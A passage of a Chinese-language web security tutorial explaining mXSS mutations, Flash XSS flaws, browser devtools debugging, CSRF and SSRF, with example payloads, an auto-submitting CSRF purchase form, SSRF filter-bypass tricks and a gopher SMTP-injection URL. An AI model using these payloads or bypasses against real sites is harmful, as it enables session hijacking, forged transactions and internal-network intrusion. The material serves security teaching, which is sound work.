输入形式:
<img src=1 style="font-fam\22onerror\3d alert\28 1\29\20 ily:'aaa';">
突变形式:
<IMG style="font-fam"onerror=alert(1) ily: ''" src="1">
可以看到,我们用转义的内容,嵌入到font-family的属性名中,突变后,\22被解码回双引号,并且闭合掉了style属性,从而我们可以通过onerror事件执行javascript代码,需要注意的是,=号,括号等也需要被写为转义形式。我们亦可在\22后加上\3e来闭合掉img标签,并在此之后插入自己的HTML标签。
有时,我们还会碰到style属性用单引号做边界符的情况。对于这种情况,style的边界符会被渲染回双引号,我们的\22依然可以发挥它的作用,例如:
输入形式:
<p style='fo\27\22o:bar'>
突变形式:
<p style="fo'"o: bar"></p>
Listing标签导致的mXSS
此外,在本文原作者的PPT中,还提到了一个<listing>
标签导致的mXSS,大家理解上面的例子后,本例也较为简单。
输入形式:
<listing><img src=1 οnerrοr=alert(1) ></listing>
突变形式:
<LISTING><img src=1 onerror=alert(1) ></LISTING>
在WooYun: QQ空间某功能缺陷导致日志存储型XSS中,笔者就使用了该标签来触发了 mXSS(IE8及IE9下目前均有效),读者可以参考该实际案例进一步了解mXSS的攻击及挖掘流程。
易于被mXSS攻击的Javascript代码
上面已经讲解了不同种类的mXSS,那么什么样的代码易于遭受mXSS攻击呢?根据图2中的mXSS流程,JS代码中,至少要将用户提供的内容放入DOM中两次,才会触发XSS攻击。原作者给出了以下代码场景:
1) a.innerHTML = b.innerHTML ;
2) a.innerHTML += 'additional content';
3) a.insertAdjacentHTML ( 'beforebegin' , b.innerHTML ) ;
4) document.write (b.innerHTML) ;
其中,1) 与 4) 里的b.innerHTML含有突变后的内容,被通过innerHTML或者是document.write的方式再次输出到DOM中,从而触发mXSS。 3)使用了insertAdjacentHTML函数(算是innerHTML的加强版,具体用法可自行了解)来将含有突变内容的b.innerHTML加入a中,从而导致mXSS。而2) 则较为隐蔽,a.innerHTML中存在突变后的内容,当我们使用+=来向a.innerHTML中追加内容时,a会被重新渲染,从而触发mXSS。
FlashXSS
flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等。Flash中编程使用的是ActionScript脚本, Flash产生的xss问题主要有两种方式:加载第三方资源和与javascript通信引发XSS。
Flash 安全沙盒
Flash 安全沙盒用于控制swf文件间跨域访问,如果两个域之间没有进行信任授权是无法进行数据交互的.尝试访问会产生安全错误.
说明:
- com下的swf文件能够与a.com下的swf文件进行交互
- com下的swf文件能够与a.com下的swf文件进行交互
- com 下的swf文件无法访问b.com的swf文件
两个不同安全域下的swf文件,之间是不能互相交互数据的。如果想让两个处于不同安全域内的SWF文件进行数据交互通信,必须要经过授权来实现。经过数据通信授权后即可进行数据通信交互。
授权:
ActionScript中关于SWF文件跨域信任授权访问是通过
Security.allowDomain()方法来实现的。
http://a.example.com/a.swf 代码:
var loader:Loader =new Loader();
loader.contentLoaderInfo.addEventListener(Event.INIT,init);
var url:String="http://b.example.com/b.swf";
loader.load(new URLRequest(url));
function init(event:Event):void
{ trace(loader.content);}
http://b.example.com/b.swf 代码:
Security.allowDomain("a.example.com");
Security.allowDomain("*");
上面是两种不同的设置方式
1.只允许a.example.com访问b.example.com中的SWF文件
2.如果使用*号那么任何域中的SWF文件都能访问执行调用
b.exaple.com中的SWF文件。
Crossdomian.xml
Crossdomian.xml是控制Flash的跨域策略文件,放在网站根目录.作用和allowDomain类似,在Crossdomain.xml文件中可以设置一个或多个信任域名.下面是youku的Corssdomian.xml文件。
<**cross-domain-policy**>
<**allow-access-from** domain="*.youku.com"/>
<**allow-access-from** domain="*.ykimg.com"/>//允许ykimgcom域名的Flash访问
<**allow-access-from** domain="*.tudou.com"/>
<**allow-access-from** domain="*.tudouui.com"/>
<**allow-access-from** domain="*.tdimg.com"/>
</**cross-domain-policy**>
Flash getURL XSS
在Flash中Actionscript2 可以使用getURL来执行JavaScript 下面以一个实例来剖析下Flash XSS过程.,
使用“Adobe Flash”创建Flash文件,F9快捷键调出代码编辑器,Ctrl+回车运行swf文件。用创建完成的Falsh文件。先看下面本地的简单测试实例
Flash代码:
代码大致意思加载外部含有xss代码的XML
var Fei_xml:XML = new XML(); //创建xml对象
Fei_xml.ignoreWhite = true; //
Fei_xml.onLoad = function(){
getURL(Fei_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue)} //获取值
Fei_xml.load(_root.xss); //加载XML文档
XML代码
javascript:alert('Flash Xss Test')
访问: http://127.0.0.1/yins/xss/9.swf?xss=falsh.xml xss代码触发
造成Flash XSS 的主要原因就是没对?XSS=flash.xml获取的内容进行过滤导致的.提供一个查找此类漏洞文件的google关键字
Goole hack: filetype:swf inurl:xml
Flash navigateToURL XSS
在Actionscript3中已经不在支持getURL,可以用navigateToURL来执行javascript 下面以一个实例来剖析下Flash navigateToURL XSS过程.
Flash代码:
var url:String = stage.loaderInfo.parameters.url //获取url参数值
var req:URLRequest = new URLRequest("falsh.xml");
var ld:URLLoader = new URLLoader();
ld.addEventListener(Event.COMPLETE ,ok);
var url:String = stage.loaderInfo.parameters.url //获取url参数值
var req:URLRequest = new URLRequest("falsh.xml");
var ld:URLLoader = new URLLoader();
ld.addEventListener(Event.COMPLETE ,ok);
function ok(evtObj:Event):void {
if(ld.data){
//navigateToURL(new URLRequest("javascript:alert("+url+")"),'_self')
navigateToURL(new URLRequest(url),'_self') //通过navigateToURL调用执行
} else {
}
}
ld.load(req)
代码大意使用stage.loaderInfo.parameters.url 获取外部参数值,使用navigateToURL执行参数值。
访问:
http://127.0.0.1/yins/xss/flash.swf?url=javascript:alert(%27navigateToURL%20Flash%20XSS%20TEST%27)
xss代码触发
Flash ExternalInterface.call XSS
Flash中同样可以使用ExternalInterface.call执行javascript 代码,
ExternalInterface.call可传递零个参数或传递多个参数我们只探讨如下两个。
- ExternalInterface.call(“函数名”):
- ExternalInterface.call(“函数名”,“参数”)。
先说参数1缺陷时利用,参数1 也就是函数名.在参数1可控的时候即可造成XSS。先看下面Flash代码
Flash代码:
代码大意接收url提交的Feigege参数,然后 ExternalInterface.call把Feigege参数值放到ExternalInterface.call执行。
var xss:String = root.loaderInfo.parameters.Feigege
if(ExternalInterface.available){ // 属性报告当前容器是否为支持 ExternalInterface
ExternalInterface.call(xss) //执行js代码
} else {
trace(100)
}
stop()
访问:
[http://127.0.0.1/yins/xss/flash.swf?Feigege=alert(‘Flash xss TEst’)](http://127.0.0.1/yins/xss/flash.swf?Feigege=alert(‘菲哥哥 Flash xss’))
Flash代码:
代码大意接收url提交的xss参数,然后 ExternalInterface.call把xss参数值放到ExternalInterface.call第二个参数执行。
var key:String = root.loaderInfo.parameters.xss
if(ExternalInterface.available){
ExternalInterface.call("alert",key)//执行js
} else {
trace(100)
}
stop()
访问**😗* http://127.0.0.1/yins/xss/flash.swf?xss=%27xss%27
Flash HTMLText XSS
在Flash里支持HTMLText属性,HTMLText的作用是显示html标签等。可以使用 img 或者a标签触发xss代码。先看用a标签的情况下。
Flash代码
代码大意 获取Feigege参数值,放到TextField里面显示。
var a:String = root.loaderInfo.parameters.Feigege //获取提交参数的值
var info:TextField = new TextField(); //创建控件对象
info.multiline=true;
info.wordWrap=true;
info.htmlText = a; //显示
addChild(info); >
访问:
http://127.0.0.1/yins/xss/text.swf?Feigege=%3Ca%20href=%27javascript:alert(%22xss%20test%22)%27%3EXSS%20click%3C/a%3E
点击输出的xss click
这种方法相对比较被动还需要点击触发。接着看下面的利用方式。
使用标签加载一个远程含有js跨站代码的swf文件.
访问:
http://127.0.0.1/yins/xss/text.swf?Feigege=
加载1.swf执行跨站代码
- swf代码
ExternalInterface.call("alert('xss test')");
flash XSF加载第三方文件函数
什么是XSF?
就是使用ActionScript加载第三方的Flash文件时,攻击者能控制这个第三方的Flash文件这样就有可能造成XSF攻击,以下函数如果使用不当就很容易产生XSF问题。
loadVariables()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.send
XML.load('URL')
LoadVars.load('url')
Sound.loadSound('url')
NetStream.play('url')
在ActionScript2中可以使用loadMovie函数来加载第三方文件,在ActionScript3中,已经去掉这个函数,改由loader来进行外部数据处理,
在HTML中嵌入flash时候IE下和非IE下也有所不同,IE下使用embed 非IE下使用object看下面例子。
1**.html代码**
<html>
<object id="lso" type="application/x-shockwave-Flash"
data="http://192.168.1.126/yins/xss/3.swf">
<param name="movie" value = "http://192.168.1.126/yins/xss/3.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
<param
name="Flashvars" value="swf=http://up.51xxs.com/users/public/1456213213_546475.swf"
</object>
</html>
在html中嵌入flash 时比较重要的两个参数allowScriptAccess和allowNetworking作用非别如下
allowScriptAccess:控制html页面与Flash页面的通讯。 always:html和Flash页面的通讯不做任何的限制; samedomain:html和Flash同域的时候可以做通讯【这个值是默认值】; never:html和Flash禁止通讯。 allowNetworking:控制Flash与外部的网络通讯。 all:Flash所有的网络API通讯接口都可用; internal:navigateToURL,fscommand,ExternalInterface.call不可用; none:所有的网络API不可用。
swf代码
var param:Object = root.loaderInfo.parameters;
var swf:String = param["swf"];
var myLoader:Loader = new Loader();
var url:URLRequest = new URLRequest(swf);
myLoader.load(url);
addChild(myLoader);
访问:http://192.168.1.126/yins/xss/1.html会加载http://up.51xxs.com/users/public/1456213213_546475.swf这个恶意swf文件导致XSF。
未初始化变量导致的XSS
在php中Globals 也就是全局变量在开启的时候,允许在POST个GET参数中改变php脚本中变量的值。在ActionScript2中也有类似的特性,任何未被初始化的变量都可以以POST或GET方式来改变变量的值,因此会导致一些安全问题.看下面测试
ver.swf代码:
if(user)
{
getURL(_root.Feigege);
}
访问:
http://192.168.1.126/yins/xss/ver.swf?user=true&Feigege=javascript:alert(/xss%20test/);
由于user未进行初始化变量赋值,导致可以通过GET方式为user赋值绕过,然后使用getURL来执行javascript代码执行结果如下。
xss攻击平台、工具
AttackAPI
BeFF
XSS-Proxy
调试JavaScript
前端JS调试,个人推荐使用chrome类浏览器进行调试。在进行调试前可先学习了解一下浏览器开发者工具的内容,这里贴一下Google的介绍文档:
https://developer.chrome.com/docs/devtools/
现阶段在个人工作中,调试调试场景更多的是前端内容的加解密。大多数情况下使用alert、console即可满足个人需求
先来认识一下开发者工具下按钮的功能
先来看这张图最上头的一行是一个功能菜单,每一个菜单都有它相应的功能和使用方法,依次从左往右来看
1.箭头按钮:用于在页面选择一个元素来审查和查看它的相关信息,当我们在Elements这个按钮页面下点击某个Dom元素时,箭头按钮会变成选择状态
2.设备图标:点击它可以切换到不同的终端进行开发模式,移动端和pc端的一个切换,可以选择不同的移动终端设备,同时可以选择不同的尺寸比例,chrome浏览器的模拟移动设备和真实的设备相差不大,是非常好的选择
可选择的适配
3.Elements 功能标签页:用来查看,修改页面上的元素,包括DOM标签,以及css样式的查看,修改,还有相关盒模型的图形信息,下图我们可以看到当我鼠标选择id 为lg_tar的div元素时,右侧的css样式对应的会展示出此id 的样式信息,此时可以在右侧进行一个修改,修改即可在页面上生效, 灰色的element.style样式同样可以进行添加和书写,唯一的区别是,在这里添加的样式是添加到了该元素内部,实现方式即:该div元素的style属性,这个页面的功能很强大,在我们做了相关的页面后,修改样式是一块很重要的工作,细微的差距都需要调整,但是不可能说做到每修改一点即编译一遍代码,再刷新浏览器查看效果,这样很低效,一次性在浏览器中修改之后,再到代码中进行修改
对应的样式
盒模型信息
同时,当我们浏览网站看到某些特别炫酷的效果和难做的样式时候,打开这个功能,我们即可看到别人是如何实现的,学会它这知识就是你的了,仔细钻研也会有意想不到的收获
4.Console控制台:用于打印和输出相关的命令信息,其实console控制台除了我们熟知的报错,打印console.log信息外,还有很多相关的功能,下面简单介绍几个
a: 一些对页面数据的指令操作,比如打断点正好执行到获取的数据上,由于数据都是层层嵌套的对象,这个时候查看里面的key/value不是很方便,即可用这个指令开查看,obj的json string 格式的key/value,我们对于数据里面有哪些字段和属性即可一目了然
其他功能
b: 除了console.log还有其他相关的指令可用
console也有相关的API
5.Sources js资源页面:这个页面内我们可以找到当然浏览器页面中的js 源文件,方便我们查看和调试,在我还没有走出校园时候,我经常看一些大站的js代码,那时候其实基本都看不懂,但是最起码可以看看人家的代码风格,人家的命名方式,所有的代码都是压缩之后的代码,我们可以点击下面的{}大括号按钮将代码转成可读格式
Sources Panel 的左侧分别是 Sources 和 Content scripts和Snippets
对应的源代码
格式化后的代码
关于打断点调试的内容,下面介绍,先来说一些,其他平时基本没人用但是很有用的小点,比如当我们想不起某个方法的具体使用时候,会打开控制台随意写一些测试代码,或者想测试一下刚刚写的方法是否会出现期待的样子,但是控制台一打回车本想换行但是却执行刚写的半截代码,所以推荐使用Sources下面的左侧的Sinppets代码片段按钮,这时候点击创建一个新的片段文件,写完测试代码后把鼠标放在新建文件上run,再结合控制台查看相关信息(新建了一个名叫:app.js的片段代码,在你的项目环境页面内,该片段可执行项目内的方法)
自己书写的片段
Content scripts 是 Chrome 的一种扩展程序,它是按照扩展的ID来组织的,这些文件也是嵌入在页面中的资源,这类文件可以读写和操作我们的资源,需要调试这些扩展文件,则可以在这个目录下打开相关文件调试,但是几乎我们的项目还没有相关的扩展文件,所以啥也看不到,平时也不需要关心这块
无结果
6.Network 网络请求标签页:可以看到所有的资源请求,包括网络请求,图片资源,html,css,js文件等请求,可以根据需求筛选请求项,一般多用于网络请求的查看和分析,分析后端接口是否正确传输,获取的数据是否准确,请求头,请求参数的查看
所有的资源
以上我选择了All,就会把该页面所有资源文件请求下来,如果只选择XHR 异步请求资源,则我们可以分析相关的请求信息
请求的相关信息
打开一个Ajax异步请求,可以看到它的请求头信息,是一个POST请求,参数有哪些,还可以预览它的返回的结果数据,这些数据的使用和查看有利于我们很好的和后端工程师们联调数据,也方便我们前端更直观的分析数据
预览请求的数据
7.Timeline标签页可以显示JS执行时间、页面元素渲染时间,不做过多介绍
8.Profiles标签页可以查看CPU执行时间与内存占用,不做过多介绍
9.Resources标签页会列出所有的资源,以及HTML5的Database和LocalStore等,你可以对存储的内容编辑和删除 不做过多介绍
10.Security标签页 可以告诉你这个网站的安全性,查看有效的证书等
11.Audits标签页 可以帮你分析页面性能,有助于优化前端页面,分析后得到的报告
分析结果
Sources资源页面的断点调试
1.如何调试:
调试js代码,肯定是我们常用的功能,那么如何打断点,找到要调试的文件,然后在内容源代码左侧的代码标记行处点击即可打上一个断点
2.断点与 js代码修改
看下面这张图,我在一个名为toggleTab的方法下打了两个断点,当开始执行我们的点击切换tab行为后,代码会在执行的断点出停下来,并把相关的数据展示一部分,此时可以在已经执行过得代码处,把鼠标放上去,即可查看相关的具体数据信息,同时我们可以使用右侧的功能键进行调试,右侧最上面一排分别是:暂停/继续、单步执行(F10快捷键)、单步跳入此执行块(F11快捷键)、单步跳出此执行块、禁用/启用所有断点。下面是各种具体的功能区
在代码中打断点
在当前的代码执行区域,在调试中如果发现需要修改的地方,也是可以立即修改的,修改后保存即可生效,这样就免去了再到代码中去书写,再刷新回看了
临时修改
3.快速进入调试的方法
当我们的代码执行到某个程序块方法处,这个方法上可能你并没有设置相关的断点,此时你可以F11进入此程序块,但是往往我们的项目都是经过很多源代码封装好的方法,有时候进入后,会走很多底层的封装方法,需要很多步骤才能真正进入这个函数块,此时将鼠标放在此函数上,会出现相关提示,会告诉你在该文件的哪一行代码处,点击即可直接看到这个函数,然后临时打上断点,按F10或者点击右上角的第二个按钮即可直接进入此函数的断点处
4.调试的功能区域
每一个功能区,都有它相关的左右,先来看一张图,它都有哪些功能
Call Stack调用栈:当断点执行到某一程序块处停下来后,右侧调试区的 Call Stack 会显示当前断点所处的方法调用栈,从上到下由最新调用处依次往下排列,Call Stack 列表的下方是Scope Variables列表可以查看此时局部变量和全局变量的值。图中可以看出,我们最先走了toggleTab这个方法,然后走到了一个更新对象的方法上,当前调用在哪里,箭头会帮你指向哪里,同时我们可以点击,调用栈列表上的任意一处,即可回头再去看看代码
但是若你想从新从某个调用方法出执行,可以右键Restart Frame, 断点就会跳到此处开头重新执行,Scope 中的变量值也会依据代码从新更改,这样就可以回退来从新调试,错过的调试也可以回过头来反复查看
Breakpoints关于断点:所有当前js的断点都会展示在这个区域,你可以点击按钮用来“去掉/加上”此处断点,也可以点击下方的代码表达式,调到相应的程序代码处,来查看
XHR Breakpoints
在XHR Breakpoints处,点击右侧的+号,可以添加请求的URL,一旦 XHR 调用触发时就会在 request.send() 的地方中断
DOM Breakpoints:
可以给你的DOM元素设置断点,有时候真的需要监听和查看某个元素的变化情况,赋值情况,但是我们并是不太关心哪一段代码对它做的修改,只想看看它的变化情况,那么可以给它来个监听事件,这个时候DOM Breakpoints中会如图
当要给DOM添加断点的时候,会出现选择项分别是如下三种修改1.子节点修改2.自身属性修改3.自身节点被删除。选中之后,Sources Panel 中右侧的 DOM Breakpoints 列表中就会出现该 DOM 断点。一旦执行到要对该 DOM 做相应修改时,代码就会在那里停下来
Event listener Breakpoints
最后Event Listener 列表,这里列出了各种可能的事件类型。勾选对应的事件类型,当触发了该类型的事件的 JavaScript 代码时就会自动中断
Post man辅助调试
在我们的开发过程中,后端的接口都是由发起AJAX请求而获取到的相关数据,但是很多情况是我们的业务还没有做到那块时,后端的同学接口都已经准备好了,但是为了便于后期的工作,将接口请求的数据模拟访问,然后对接口联调很重要,也很方便,因为我们不可能把每个请求代码都写到文件里编译好了再去浏览器内查看,这时候可以安装一个post man网络请求插件,在谷歌应用商店下载,需要翻墙
该扩展程序使用非常简单,功能同时也非常强大,输入你的请求,选择好请求的method,需要请求参数的挨个填好,send之后,就可以看到返回的数据,这个小工具很利于我们的脚本编写和调试。
前端调试的内容不多,只是需要比较长时间的积累。积累的内容主要是一般反调试的绕过、js引擎的特性、各种加解密、相关帖子的骚套路。
跨站请求伪造CSRF
一般概念
CSRF(Cross Site Request Forgery) 跨站请求伪造。也被称为One Click Attack和Session Riding,通常缩写为CSRF或XSRF。白话解释为,攻击者盗用用户身份,以用户的名义进行了某些非法操作。
分类
GET型:
如果一个网站某个地方的功能,比如用户修改邮箱是通过GET请求进行修改的。如:/user.php?id=1&email=123@163.com ,这个链接的意思是用户id=1将邮箱修改为123@163.com。当我们把这个链接修改为 /user.php?id=1&email=abc@163.com ,然后通过各种手段发送给被攻击者,诱使被攻击者点击我们的链接,当用户刚好在访问这个网站,他同时又点击了这个链接,那么悲剧发生了。这个用户的邮箱被修改为 abc@163.com 了
POST型:
在普通用户的眼中,点击网页->打开试看视频->购买视频是一个很正常的一个流程。可是在攻击者的眼中可以算正常,但又不正常的,当然不正常的情况下,是在开发者安全意识不足所造成的。攻击者在购买处抓到购买时候网站处理购买(扣除)用户余额的地址。比如:/coures/user/handler/25332/buy.php 。通过提交表单,buy.php处理购买的信息,这里的25532为视频ID。那么攻击者现在构造一个链接,链接中包含以下内容
<form action=/coures/user/handler/25332/buy method=POST>
<input type="text" name="xx" value="xx" />
</form>
<script> document.forms[0].submit(); </script>
当用户访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作,自动购买了id为25332的视频,从而导致受害者余额扣除
原理
Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户
用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
修复方式
1、验证HTTP Referer字段
2、在请求地址中添加token并验证
3、在HTTP头中自定义属性并验证
SSRF
一般概念
SSRF漏洞形成的原因大多是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。web服务器经常需要从别的服务器获取数据,比如文件载入、图片拉取、图片识别等功能,如果获取数据的服务器地址可控,攻击者就可以通过web服务器自定义向别的服务器发出请求。因为web服务器常搭建在DMZ区域,因此常被攻击者当作跳板,向内网服务器发出请求。
常用协议
ssrf常用的协议:http/https、dict、file、gopher、sftp、ldap、tftp
file:/// – 本地文件传输协议,主要用于访问本地计算机中的文件。在有回显的情况下,利用 file 协议可以读取任意内容
dict:// – 字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。泄露安装软件版本信息,查看端口,操作内网redis服务等
sftp:// – SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol)
ldap:// – 轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议
tftp:// – 基于lockstep机制的文件传输协议,允许客户端从远程主机获取文件或将文件上传至远程主机
gopher:// – 互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s:// – 探测内网主机存活
分类
有回显:有回显型ssrf可以直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。
无回显:无回显型ssrf的检测需要先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。
危害
- 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
- 攻击运行在内网或本地的应用程序
- 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
- 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
- 下载内网资源(如:利用
file
协议读取本地文件等) - 进行跳板
- 无视cdn
- 利用Redis未授权访问,HTTP CRLF注入实现getshell
SSRF在PHP中的利用
在PHP中,经常出现SSRF的函数有cURL、file_get_contents等。
cURL支持http、https、ftp、gopher、telnet、dict、file 和 ldap 等协议,其中gopher协议和dict协议就是我们需要的。利用gopher,dict协议,我们可以构造出相应payload直接攻击内网的redis服务。
需要注意的是:
\1. file_get_contents的gopher协议不能 UrlEncode
\2. file_get_contents关于Gopher的302跳转有bug,导致利用失败
\3. curl/libcurl 7.43上gopher协议存在bug(截断),7.45以上无此bug
\4. curl_exec()默认不跟踪跳转
\5. file_get_contents() 支持php://input协议
SSRF在Python中的利用
在Python中,常用的函数有urllib(urllib2)和requests库。以urllib(urllib2)为例, urllib并不支持gopher,dict协议,所以按照常理来讲ssrf在python中的危害也应该不大,但是当SSRF遇到CRLF,奇妙的事情就发生了。
urllib曾爆出CVE-2019-9740、CVE-2019-9947两个漏洞,这两个漏洞都是urllib(urllib2)的CRLF漏洞,只是触发点不一样,其影响范围都在urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3之间,目前大部分服务器的python2版本都在2.7.10以下,python3都在3.6.x,这两个CRLF漏洞的影响力就非常可观了。其实之前还有一个CVE-2016-5699,同样的urllib(urllib2)的CRLF问题,但是由于时间比较早,影响范围没有这两个大,这里也不再赘叙
python2代码如下:
import sysimport urllib2host = "127.0.0.1:7777?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123"url = "http://"+ host + ":8080/test/?test=a"try: info = urllib2.urlopen(url).info() print(info)except Exception as e:print(e)
可以看到我们成功注入了一个header头,利用CLRF漏洞,我们可以实现换行对redis的攻击
除开CRLF之外,urllib还有一个鲜有人知的漏洞CVE-2019-9948,该漏洞只影响urllib,范围在Python 2.x到2.7.16,这个版本间的urllib支持local_file/local-file协议,可以读取任意文件,如果file协议被禁止后,不妨试试这个协议来读取文件。
SSRF在JAVA中的利用
相对于php,在java中SSRF的利用局限较大,一般利用http协议来探测端口,利用file协议读取任意文件。常见的类中如HttpURLConnection,URLConnection,HttpClients中只支持sun.net.www.protocol (java 1.8)里的所有协议:http,https,file,ftp,mailto,jar,netdoc。
但这里需要注意一个漏洞,那就是weblogic的ssrf,这个ssrf是可以攻击可利用的redis拿shell的。在开始看到这个漏洞的时候,笔者感到很奇怪,因为一般java中的ssrf是无法攻击redis的,但是网上并没有找到太多的分析文章,所以特地看了下weblogic的实现代码。
详细的分析细节就不说了,只挑重点说下过程,调用栈如下
我们跟进sendMessage函数(UDDISoapMessage.java)
sendMessage将传入的url赋值给BindingInfo的实例,然后通过BindingFactory工厂类,来创建一个Binding实例,该实例会通过传入的url决定使用哪个接口。
这里使用HttpClientBinding来调用send方法,
send方法使用createSocket来发送请求,这里可以看到直接将传入的url代入到了socket接口中
这里的逻辑就很清晰了,weblogic并没有采用常见的网络库,而是自己实现了一套socket方法,将用户传入的url直接带入到socket接口,而且并没有校验url中的CRLF。
漏洞场景
常见的ssrf漏洞场景(所有需要输入url的地方都可以尝试ssrf,将url改成dnslog地址,验证请求IP是否来自web服务器):
- 转码服务
- 在线翻译
- 图片加载与下载(通过URL地址加载或下载图片)
- 图片、文章收藏功能
- 网站采集、网页抓取的地方。
- 头像的地方。(远程加载头像)
- 一切要你输入网址的地方和可以输入ip的地方。
- 从URL关键字中寻找:
share
、wap
、url
、link
、src
、source
、target
、u
、3g
、display
、sourceURl
、imageURL
、domain
- …
SSRF绕过
1、攻击本地
http://127.0.0.1:80
http://localhost:22
2、利用[::]
利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1
也有看到利用http://0000::1:80/的,但是我测试未成功
3、利用@
http://example.com@127.0.0.1
在对@解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com
4、利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
5、利用特殊域名
利用的原理是DNS解析
http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
6、利用DNS解析
在域名上设置A记录,指向127.0.1
7、利用上传
也不一定是上传,我也说不清,自己体会 -.-
修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
8、利用Enclosed alphanumerics
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
9、利用句号
127。0。0。1 >>> 127.0.0.1
10、利用进制转换
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/
11、利用特殊地址
http://0/
12、利用协议
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
13、SSRF新型攻击手法—When TLS Hacks You
https://i.blackhat.com/USA-20/Wednesday/us-20-Maddux-When-TLS-Hacks-You.pdf
常见限制
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
